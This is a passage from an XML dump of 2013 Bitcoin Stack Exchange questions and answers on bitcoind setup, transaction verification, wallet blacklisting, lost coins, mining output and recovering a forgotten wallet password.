submitrawtrasaction]&lt;/p&gt;&#xA;" OwnerUserId="6957" LastActivityDate="2013-10-04T02:37:31.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13584" PostTypeId="2" ParentId="13582" CreationDate="2013-10-04T04:42:49.687" Score="4" Body="&lt;p&gt;Change the &lt;code&gt;-datadir&lt;/code&gt; flag to a new absolute location. Each instance will follow the &lt;code&gt;bitcoind.conf&lt;/code&gt; in their respective directory. &lt;/p&gt;&#xA;" OwnerUserId="6454" LastActivityDate="2013-10-04T04:42:49.687" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13585" PostTypeId="2" ParentId="13573" CreationDate="2013-10-04T05:28:32.113" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://blockchain.litecoin.net&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.litecoin.net&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be a warning on the site but what you should do is put the blk0001.dat file in the Litecoin data folder (~/.litecoin by default on gnu/linux) then when you run litecoind or litecoin-qt for the first time, include the -reindex option on the command line.&lt;/p&gt;&#xA;" OwnerUserId="193" LastActivityDate="2013-10-04T05:28:32.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13586" PostTypeId="2" ParentId="13522" CreationDate="2013-10-04T05:37:13.860" Score="1" Body="&lt;p&gt;Not at the moment. The quickest way to set one up would probably be to work with coinpunk or fork their code and get it working for Litecoin.&lt;/p&gt;&#xA;" OwnerUserId="193" LastActivityDate="2013-10-04T05:37:13.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13587" PostTypeId="1" AcceptedAnswerId="13588" CreationDate="2013-10-04T05:45:13.837" Score="1" ViewCount="472" Body="&lt;p&gt;I run a 0-confirmation tool.&#xA;To track new transactions I use:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;bitcoind getrawmempool&lt;/li&gt;&#xA;&lt;li&gt;new transactions in new block not available in mempool (it seems I do not receive all transactions in mempool before my client accepts a new block)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I trust my bitcoin client transaction verification process (protocol rules).&#xA;(I expect it to do all the steps in: &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_rules#.22tx.22_messages&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_rules#.22tx.22_messages&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expect I do not have the guarantee the client/person who created the new block has followed the protocol rules for the included transactions, so I want to check the 'missing' transaction from my mempool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know 6 confirmations is expected to be 'safe', but I would like to do a 0-confirmation (or 1-confirmation concerning a new block) as safe as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1: Is every transaction checked by my bitcoind client before accepting a new block (local)?&#xA;(to be sure every transaction available in mempool and blockchain of my (official) client meet the protocol rules)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2: If 1. is not true: What bitcoind API, or (python) program is available to verify transactions included in a new block if they do meet the (official) protocol rules?&lt;/p&gt;&#xA;" OwnerUserId="6960" LastActivityDate="2013-10-04T06:00:12.603" Title="Transaction verification" Tags="|bitcoind|protocol|api|confirmations|transaction-verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13588" PostTypeId="2" ParentId="13587" CreationDate="2013-10-04T06:00:12.603" Score="1" Body="&lt;p&gt;Yes, your client will fully verify each block it receives. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your biggest issue with accepting 0-confirmation transactions is making sure an attacker can't send your node(s) a transaction that the rest of the network will discard as a double-spend. Basically you'll want to disallow direct connections to your node(s) and connect them to trusted nodes such as large miners. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't eliminate risk but reduces it somewhat to Finney attacks and an attacker getting lucky with getting the bad transaction to you through a big miner that ends up not putting that transaction in a block before the conflicting transaction is mined.&lt;/p&gt;&#xA;" OwnerUserId="193" LastActivityDate="2013-10-04T06:00:12.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13590" PostTypeId="2" ParentId="11955" CreationDate="2013-10-04T17:06:49.893" Score="3" Body="&lt;p&gt;I do not want to rain on your parade, but this may be hard to do. These wallets are made with the idea that outsiders will not get into them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try to brute force the login, but it may take longer than a lifespan to break. However, here is something that you may consider. If you have a known rule-set for your password generation, you can substantially eliminate the possibilities in your brute force attack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am speculating that your passwords are complex, but there may be hope here based on the fact that password generation is not truly random. Because of this fact, there are rules that you (as the password generator) or a program like keepass (as the password generator) usually follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We really need more information to make an informed suggestion, but let me give you a couple scenarios. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you create your own passwords&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do you use spaces? Usually this is a yes or no for most people.&lt;/li&gt;&#xA;&lt;li&gt;Is there a special character that you tend to focus on? Does it occur at a particular place (i.e. at the end)&lt;/li&gt;&#xA;&lt;li&gt;Do you use words or phrases or is it always random?&lt;/li&gt;&#xA;&lt;li&gt;What is the range of characters in your passwords? (i.e. Always type 6-10 characters).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you use a generator for your passwords&lt;/strong&gt;, there may be rulesets in place that help you eliminate possibilities:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Look at the number of characters allowed.&lt;/li&gt;&#xA;&lt;li&gt;Are letters, upper case, lower case, numbers etc. required?&lt;/li&gt;&#xA;&lt;li&gt;Are special characters allowed?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After you have answered this, and similar questions, you can begin to chip away at the total possible entries. So let us say you force at least one number and one capital letter and one special symbol and is 10 characters in length. Now, you can eliminate all possibilities that do not follow that pattern. You will not use brute force for any 9 character string, anything without a symbol, etc. Your possible result set can be reduced substantially because you inherently know the algorithm you use for password generation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A goldmine for you is the eliminate the possibilities on a particular character in the string. Commonly, people will start or end a password with similar rules. For example, they put a $ at the beginning. Now you have reduced the search by a power factor. Keep this up with rules that you know would have been enforced and your set gets even smaller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that your result set is reduced, work will be involved. Find a program to brute force a wallet, or utilize a script that you create to brute force. Most have APIs associated with them (i.e. &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically, there are tools that will help with this process, (See: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5620/forgot-wallet-encryption-password-are-any-brute-force-tools-available&quot;&gt;Forgot wallet encryption password, are any brute force tools available?&lt;/a&gt; ) so you may be able to find something useful there. Otherwise, if you cannot get a hold of those tools, pitch it to some computer science students at the local university to create such an app for a project :-) It would take a little bit to code and I am not sure of your programming abilities, but it would be very possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck and I hope you get your wallet back!&lt;/p&gt;&#xA;" OwnerUserId="6137" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2013-10-04T17:06:49.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13592" PostTypeId="2" ParentId="13566" CreationDate="2013-10-04T19:09:35.863" Score="2" Body="&lt;p&gt;I don't see why not.  Most of what you need to do is just modular arithmetic with big integers (around 2^256).  There's no obstruction to doing this on an 8-bit microprocessor, it just takes a few more instructions.  You might even find some existing code for arbitrary-precision arithmetic.  256 bits is 32 bytes, so 8K of memory seems like plenty.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-10-04T19:09:35.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13593" PostTypeId="2" ParentId="13569" CreationDate="2013-10-05T03:39:28.887" Score="4" Body="&lt;p&gt;One reddit user, TheBitcoinCatalog, had a &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1np6m7/click_in_each_txn_to_visualize_the_blockchain/cckoljc&quot; rel=&quot;nofollow&quot;&gt;very interesting realization&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;for the first time the public can monitor the money that a government own.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think that's a profound occurrence. &lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-10-05T03:39:28.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13595" PostTypeId="1" CreationDate="2013-10-05T08:06:13.317" Score="7" ViewCount="154" Body="&lt;p&gt;Bitcoin is supposed to be an apolitical currency, but the United States &lt;a href=&quot;http://arstechnica.com/tech-policy/2013/10/how-the-feds-took-down-the-dread-pirate-roberts/&quot;&gt;reportedly&lt;/a&gt; gained some leverage by amassing &lt;a href=&quot;https://blockchain.info/address/1F1tAaz5x1HUXrCNLbtMDqcw6o5GNn4xqX&quot;&gt;over 27,000 bitcoins&lt;/a&gt; &amp;mdash; &lt;a href=&quot;http://arstechnica.com/tech-policy/2013/10/internet-lobs-insults-at-fbis-silk-road-bitcoin-wallet/&quot;&gt;and counting&lt;/a&gt;. (People seem to be jumping at the possibility of turning bitcoin into the ultimate unmoderated facebook clone and the &quot;content&quot; there is what you'd expect.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OTOH, this poses a practical problem for the community, because attempting to redeem this amount would probably destroy the currency's market value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, in the marvellous world of atomic hat-based TF2 trading there is a de-facto authority called &lt;a href=&quot;http://steamrep.com/&quot;&gt;SteamRep&lt;/a&gt;. In &lt;a href=&quot;http://forums.steamrep.com/pages/faq/&quot;&gt;short&lt;/a&gt;, what they call a scammer is a scammer. Their items become scammed. Trade for scammed items and &lt;em&gt;you&lt;/em&gt; become a scammer. This label shuns you from virtually all trading websites, which will be happy to take for themselves whatever items or currency of yours they hold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not advocating for this. I do not have bitcoins. I don't &lt;em&gt;like&lt;/em&gt; bitcoins. I also don't like aiding criminals in their trading and money laundering. That's just my opinion and it's worth its weight in electrons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do wonder, though, if it would be &lt;strong&gt;technically feasible&lt;/strong&gt; for the bitcoin community to protect itself from a possible sudden devaluation of the currency by marking a bitcoin wallet, and all the individual fractions of bitcoins in there, as &quot;bad, no, worthless, will not accept, will not process transactions&quot; in an attempt to artificially limit their worth.&lt;/p&gt;&#xA;" OwnerUserId="6648" LastActivityDate="2013-10-05T08:58:48.267" Title="Is it technically feasible to &quot;shun&quot; particular bitcoin wallets?" Tags="|governance|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13596" PostTypeId="2" ParentId="13595" CreationDate="2013-10-05T08:53:16.130" Score="4" Body="&lt;p&gt;Not really, if you start doing that then chain forks and a whole load of nasty things follow. There's no real way of blacklisting a &quot;wallet&quot;, as by design there's no way of determining exactly the extent of the keys under control by a specific party, so for the sake of this discussion we will assume we have one blacklisted &quot;address&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if nodes reject transactions from specific addresses, miners can still include them in blocks without them even having to be broadcast. If some nodes decide to arbitrarily invalidate blocks with transactions they don't like, you've then got a forked network. Massive double spends occur on both forks by intentional and unintentional parties, and the network collapses in the sea of mistrust. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, some mining nodes (like mine) specifically refuse to include transactions in blocks that come from known betting site addresses, like SatoshiDice. I however don't reject blocks that contain the transactions, or I'd be very quickly become isolated from the network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll never get all the miners to agree with any form of blacklisting, so no, it can't technically happen.&lt;/p&gt;&#xA;" OwnerUserId="6454" LastEditorUserId="6454" LastEditDate="2013-10-05T08:58:48.267" LastActivityDate="2013-10-05T08:58:48.267" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13597" PostTypeId="1" CreationDate="2013-10-05T09:44:58.457" Score="1" ViewCount="286" Body="&lt;p&gt;Could a government, determined to stop bitcoins, just buy a lot of bitcoins and delete the wallet afterwards? Are the bitcoins gone then?&lt;/p&gt;&#xA;" OwnerUserId="6976" LastEditorUserId="5406" LastEditDate="2013-10-05T13:25:39.547" LastActivityDate="2013-10-05T21:35:08.053" Title="Would it be feasible to attack the bitcoin network by buying and deleting large amounts of bitcoin?" Tags="|wallet|attack|money-supply|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13598" PostTypeId="2" ParentId="13597" CreationDate="2013-10-05T10:12:22.320" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Are the bitcoins gone then?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. More correctly they'll always be there, just unspendable. &lt;/p&gt;&#xA;" OwnerUserId="6454" LastActivityDate="2013-10-05T10:12:22.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13599" PostTypeId="2" ParentId="13597" CreationDate="2013-10-05T11:11:04.997" Score="2" Body="&lt;p&gt;The bitcoins are still there, but without the private keys they would be unspendable and &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8804/is-each-bitcoin-address-unique/12740#12740&quot;&gt;it would be highly unlikely that anybody would ever rediscover the private keys&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, such an attack would not hurt the bitcoin network: The previous owners would already have been compensated through the sale, and as the total value of the network remains approximately the same, the network's value would then redistribute to fewer units of bitcoin, increasing the value of each remaining unit. The attack would only make the bitcoin users wealthier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if all but a single bitcoin were lost, the network could carry on: It has been discussed many times (see &lt;a href=&quot;/questions/tagged/money-supply&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;money-supply&amp;#39;&quot; rel=&quot;tag&quot;&gt;money-supply&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/divisibility&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;divisibility&amp;#39;&quot; rel=&quot;tag&quot;&gt;divisibility&lt;/a&gt;), that it would be simple to adapt the bitcoin protocol to divide into smaller subunits. Currently Satoshi are the smallest subunit and there are 10^8 Satoshi per Bitcoin, but if the protocol were adopted to allow bitcoin to be divided to 10^16 units, there would again be sufficient money supply to serve a global market to make payments in any amounts.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-10-05T11:11:04.997" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13600" PostTypeId="1" AcceptedAnswerId="13601" CreationDate="2013-10-05T12:47:13.030" Score="9" ViewCount="935" Body="&lt;p&gt;I was wondering if there are public available researches about the &quot;disappear&quot; rate of Bitcoins (wallet data lost, person died, forgotten eWallet access, ...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be generated by checking &quot;idle&quot; public addresses with unspent money. Or by scraping information about data lost on public forums. &lt;/p&gt;&#xA;" OwnerUserId="4671" LastEditorUserId="5406" LastEditDate="2014-06-17T14:39:39.113" LastActivityDate="2014-06-17T14:39:39.113" Title="Bitcoin disappearence rate" Tags="|charts|shrinking-money-supply|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13601" PostTypeId="2" ParentId="13600" CreationDate="2013-10-05T13:04:06.067" Score="9" Body="&lt;p&gt;I've not touched a large part of my online wallet (two weeks), nor the paper wallets under my sink (two years), but they are by no means disappeared, idle or lost. There's really no way of telling, no matter how much thought is put into it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some coins can be called lost, that is they don't have any associated private keys known, but there's no way of verifying that they are indeed unspendable. The exceptions are spends to addresses that the private key was never known like 1BitcoinEaterAddressDontSendf59kuE‎ (1.6BTC).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's an almost constant stream of suggestions that &quot;idle&quot; coins should be recycled, but really, what constitutes idle? &lt;/p&gt;&#xA;" OwnerUserId="6454" LastActivityDate="2013-10-05T13:04:06.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13602" PostTypeId="2" ParentId="13600" CreationDate="2013-10-05T13:20:59.483" Score="4" Body="&lt;p&gt;It is impossible to tell lost coins from stored coins, because there is not way to tell if anyone has the private key associated with a foreign address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only coins that can realiably be declared lost are those that have been assigned to invalid recipient addresses.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-10-10T20:01:47.933" LastActivityDate="2013-10-10T20:01:47.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13603" PostTypeId="1" AcceptedAnswerId="13622" CreationDate="2013-10-05T17:04:38.170" Score="23" ViewCount="4486" Body="&lt;p&gt;&lt;a href=&quot;https://blog.conformal.com/btcd-not-your-moms-bitcoin-daemon/&quot;&gt;btcd 1.0 was released&lt;/a&gt; October 3, 2013. Why use it instead of bitcoind?&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="63266" LastEditDate="2019-12-07T00:52:26.850" LastActivityDate="2019-12-07T00:52:26.850" Title="What are the benefits of using btcd instead of bitcoind?" Tags="|bitcoind|btcd|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13604" PostTypeId="1" CreationDate="2013-10-05T18:41:25.220" Score="1" ViewCount="14326" Body="&lt;p&gt;I'm trying to mine litecoin on &lt;a href=&quot;http://lite.coin-pool.com/&quot; rel=&quot;nofollow&quot;&gt;litecoin-pool&lt;/a&gt; with cgminer&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./cgminer --scrypt -u username.1 -p password -o stratum+tcp://lite.coin-pool.com:3333&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it keeps on returning &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2013-10-05 14:24:28] Stratum from pool 0 detected new block&#xA;[2013-10-05 14:25:16] Stratum from pool 0 detected new block&#xA;[2013-10-05 14:27:05] Stratum from pool 0 detected new block&#xA;[2013-10-05 14:27:22] Stratum from pool 0 detected new block&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I'm using the correct username and password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be causing this?&lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2017-12-05T02:47:21.183" Title="Stratum from pool 0 detected new block" Tags="|litecoin|cgminer|stratum|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13606" PostTypeId="2" ParentId="13597" CreationDate="2013-10-05T21:35:08.053" Score="1" Body="&lt;p&gt;Let's assume, for the sake of argument, this works and destroys the Bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everyone who held Bitcoins would be rich, since the government had to buy those Bitcoins at whatever price they demanded. Nobody would be out money because nobody would hold Bitcoins that were no longer useful since the government had bought them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would the government accomplish in this process? Nobody would have lost any money. A new Bitcoin system could be started easily. It would have cost a fortune.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Destroying or losing Bitcoins is a gift to everyone who holds Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-10-05T21:35:08.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13607" PostTypeId="2" ParentId="13582" CreationDate="2013-10-06T00:12:30.453" Score="3" Body="&lt;p&gt;Probably, better to add new user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply create new user:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# adduser bitcoin1&#xA;# adduser bitcoin2&#xA;# su -l bitcoin1 -c 'bitcoind'&#xA;# su -l bitcoin2 -c 'bitcoind'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6982" LastActivityDate="2013-10-06T00:12:30.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13608" PostTypeId="2" ParentId="13552" CreationDate="2013-10-06T00:17:34.103" Score="-1" Body="&lt;p&gt;There is not very active Q&amp;amp;A:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.rippleoverflow.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.rippleoverflow.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And mostly active ripple chat at freenode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IRC chat.freenode.net:6667 #ripple&lt;/p&gt;&#xA;" OwnerUserId="6982" LastActivityDate="2013-10-06T00:17:34.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13610" PostTypeId="1" CreationDate="2013-10-06T05:04:29.320" Score="5" ViewCount="915" Body="&lt;p&gt;How can you prevent bitcoins from unknown parties being transferred to any of your bitcoin addresses? if so, how? If not, why not?&lt;/p&gt;&#xA;" OwnerUserId="6039" LastActivityDate="2013-10-08T23:12:17.833" Title="how to stop bitcoin transfers from unknown parties?" Tags="|transactions|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13611" PostTypeId="2" ParentId="13610" CreationDate="2013-10-06T05:15:43.783" Score="1" Body="&lt;p&gt;No way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can detect what coins transferred from one address and what coins transferred from another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for example at the first address in the network:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;12c6DSiU4Rq3P4ZxziKxzrL5LmMBrzjrJX&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/address/12c6DSiU4Rq3P4ZxziKxzrL5LmMBrzjrJX&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/address/12c6DSiU4Rq3P4ZxziKxzrL5LmMBrzjrJX&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockexplorer.com/address/12c6DSiU4Rq3P4ZxziKxzrL5LmMBrzjrJX&quot; rel=&quot;nofollow&quot;&gt;https://blockexplorer.com/address/12c6DSiU4Rq3P4ZxziKxzrL5LmMBrzjrJX&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nobody can stop people to send bitcoins to Satoshi's address, first bitcoin address in the network.&lt;/p&gt;&#xA;" OwnerUserId="6987" LastEditorUserId="6987" LastEditDate="2013-10-07T03:51:57.303" LastActivityDate="2013-10-07T03:51:57.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13612" PostTypeId="2" ParentId="13610" CreationDate="2013-10-06T07:10:29.020" Score="6" Body="&lt;p&gt;Receiving Bitcoins is entirely passive. The receiver plays no part in the process whatsoever. There is no way to refuse a Bitcoin transaction, other than to transfer the Bitcoins back to the sender.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-10-06T07:10:29.020" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13613" PostTypeId="1" AcceptedAnswerId="13635" CreationDate="2013-10-06T08:44:54.820" Score="1" ViewCount="787" Body="&lt;p&gt;I have a large amount of money in a lot of small coins in my wallet (most of them like 0.0002 BTC). &#xA;But whatever I do, I loose about 15% due to transaction fees, because transactions are too large. &#xA;Is there any tool for optimization of transactions, which could combine those coins into transactions with minimal or zero fee? &lt;/p&gt;&#xA;" OwnerUserId="6858" LastEditorUserId="132" LastEditDate="2014-01-13T14:35:31.310" LastActivityDate="2014-01-13T14:35:31.310" Title="Transaction generator with payment fee optimization for large number of small coins" Tags="|transaction-fees|dust|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13614" PostTypeId="2" ParentId="13604" CreationDate="2013-10-06T08:55:26.080" Score="1" Body="&lt;p&gt;It is not an error that new blocks are detected.&#xA;You should check other parts of the output to see if you are correctly connected, you are hashing and submitting shares.&#xA;If you want us to check what's wrong, please, submit some other part of the cgminer's log.&lt;/p&gt;&#xA;" OwnerUserId="6858" LastActivityDate="2013-10-06T08:55:26.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13615" PostTypeId="1" CreationDate="2013-10-06T10:37:03.533" Score="-4" ViewCount="44" Body="&lt;p&gt;I honestly have only heard about this because of the tv show, the good wife.  I didn't know it was real. I am very curious as to what bitcoin is, can do and also, if there are mobile friendly apps and sites for the use of bitcoins. Also, explaining this mining thing a little better, would help. I am not sure how that earns me bitcoins or if I have to pay in with paper money to get bitcoins or if it is even legal to have bitcoins. (seeing that you have a siteshutdown is concerning to me with the fbi doing it). Anyway....thanks for taking the time to read this....I look forward to the answers.  Also....one last thing.....can I buy things like computers, software, cameras, editing software with bitcoins if I save enough of them?&lt;/p&gt;&#xA;" OwnerUserId="6989" LastActivityDate="2013-10-06T11:02:46.657" Title="mobile sites/apps and other things" Tags="|mobile|" AnswerCount="1" CommentCount="1" ClosedDate="2013-10-08T16:04:20.380" ContentLicense="CC BY-SA 3.0" />
  <row Id="13616" PostTypeId="2" ParentId="13615" CreationDate="2013-10-06T11:02:46.657" Score="1" Body="&lt;p&gt;That's lot of questions!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing I recommend is to browse the pages here: &lt;a href=&quot;http://bitcoin.org/en/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.org/en/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a bitcoin user/spender you don't need to think much of how mining works, just that they are crucial to keeping the entire system safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than mining you can get bitcoins from an exchange, or other services. &lt;a href=&quot;https://localbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;https://localbitcoins.com/&lt;/a&gt; is a site where you can find real people that sell bitcoins and you can agree to met someone face-to-face. An exchange can be thought of brokerage account, you can buy bitcoins for a commission the same way you would buy company stock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot of different things you can spend bitcoins on, must of it are online. For real shops that accept bitcoin this site &lt;a href=&quot;http://coinmap.org/&quot; rel=&quot;nofollow&quot;&gt;http://coinmap.org/&lt;/a&gt; will guide you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously there is a lot more to be said but I recommend you to start reading. This forum is more for technical questions on the bitcoin network I think but there are other forums for miners, users, investors etc.&lt;/p&gt;&#xA;" OwnerUserId="4842" LastActivityDate="2013-10-06T11:02:46.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13617" PostTypeId="1" AcceptedAnswerId="13633" CreationDate="2013-10-06T11:35:12.057" Score="1" ViewCount="720" Body="&lt;p&gt;For a website I need to watch (read-only) a number of bitcoin addresses (like about 100) and to retrieve information about all incoming transaction (within the last week). I need for each incoming transaction the number of confirmations, the amount send, the time and from which address the transaction came.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually blockchain.info looks what I need, but the number of API calls seems to be limited to 1 every 10 secs. Also I do not see how I can read the senders addresses. So I think what I have to look into is JSON RPC and communicate with bitcoin demon. Is this the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Marco&lt;/p&gt;&#xA;" OwnerUserId="6991" LastActivityDate="2013-10-07T22:35:08.657" Title="Information about incoming transactions for a number of addresses" Tags="|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13618" PostTypeId="1" AcceptedAnswerId="13692" CreationDate="2013-10-06T13:11:42.697" Score="1" ViewCount="108" Body="&lt;p&gt;I just tried to use unowallet.&#xA;It seem that the private key is somehow encoded into the url. &#xA;Isn't it some known type of representation?&#xA;Wouldn't it be possible to create an url for my private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe its just the seed of the bitcoin address generator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My only observation is that it is not a base58 because there are 'l' and 'O's, it may not be base64 because it does have bad number of characters (but maybe '=' are ommited).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL: &lt;a href=&quot;https://uno-wallet.com/wallet/WXG7M59EniYuAm39ildMv7lUDc2L5khVLDpMPic2dOo1mJDiLJ&quot; rel=&quot;nofollow&quot;&gt;https://uno-wallet.com/wallet/WXG7M59EniYuAm39ildMv7lUDc2L5khVLDpMPic2dOo1mJDiLJ&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Address: 1BjECXazZUZdd8zAj7VoxppoBA73aZ1KrX&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Private key: 5JWXyvz2DcEKQFm7pa6j8Gp1M5A8cgNhx4F2ZjM2R14MHy3D2NQ&lt;/p&gt;&#xA;" OwnerUserId="6858" LastActivityDate="2013-10-10T20:08:29.760" Title="Construction of unowallet url" Tags="|wallet|e-wallet|hash|" AnswerCount="2" 